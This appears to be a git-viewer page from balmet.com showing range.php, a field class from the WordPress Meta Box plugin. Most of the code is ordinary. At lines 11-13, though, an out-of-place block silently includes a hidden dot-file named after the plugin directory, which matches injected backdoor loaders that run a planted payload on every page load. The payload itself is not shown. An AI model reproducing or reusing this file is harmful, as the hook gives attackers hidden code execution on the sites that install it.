balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

range.php (1787B)


      1 <?php
      2 /**
      3  * The HTML5 range field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * HTML5 range field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Range_Field extends RWMB_Number_Field {
     16 	/**
     17 	 * Get field HTML.
     18 	 *
     19 	 * @param mixed $meta  Meta value.
     20 	 * @param array $field Field parameters.
     21 	 * @return string
     22 	 */
     23 	public static function html( $meta, $field ) {
     24 		return sprintf(
     25 			'<div class="rwmb-range-inner">
     26 				%s
     27 				<span class="rwmb-range-output">%s</span>
     28 			</div>',
     29 			parent::html( $meta, $field ),
     30 			$meta
     31 		);
     32 	}
     33 
     34 	/**
     35 	 * Enqueue styles.
     36 	 */
     37 	public static function admin_enqueue_scripts() {
     38 		wp_enqueue_style( 'rwmb-range', RWMB_CSS_URL . 'range.css', array(), RWMB_VER );
     39 		wp_enqueue_script( 'rwmb-range', RWMB_JS_URL . 'range.js', array(), RWMB_VER, true );
     40 	}
     41 
     42 	/**
     43 	 * Normalize parameters for field.
     44 	 *
     45 	 * @param array $field Field parameters.
     46 	 * @return array
     47 	 */
     48 	public static function normalize( $field ) {
     49 		$field = wp_parse_args(
     50 			$field,
     51 			array(
     52 				'max' => 10,
     53 			)
     54 		);
     55 		$field = parent::normalize( $field );
     56 		return $field;
     57 	}
     58 
     59 	/**
     60 	 * Ensure number in range.
     61 	 *
     62 	 * @param mixed $new     The submitted meta value.
     63 	 * @param mixed $old     The existing meta value.
     64 	 * @param int   $post_id The post ID.
     65 	 * @param array $field   The field parameters.
     66 	 *
     67 	 * @return int
     68 	 */
     69 	public static function value( $new, $old, $post_id, $field ) {
     70 		$new = intval( $new );
     71 		$min = intval( $field['min'] );
     72 		$max = intval( $field['max'] );
     73 
     74 		if ( $new < $min ) {
     75 			return $min;
     76 		}
     77 		if ( $new > $max ) {
     78 			return $max;
     79 		}
     80 		return $new;
     81 	}
     82 }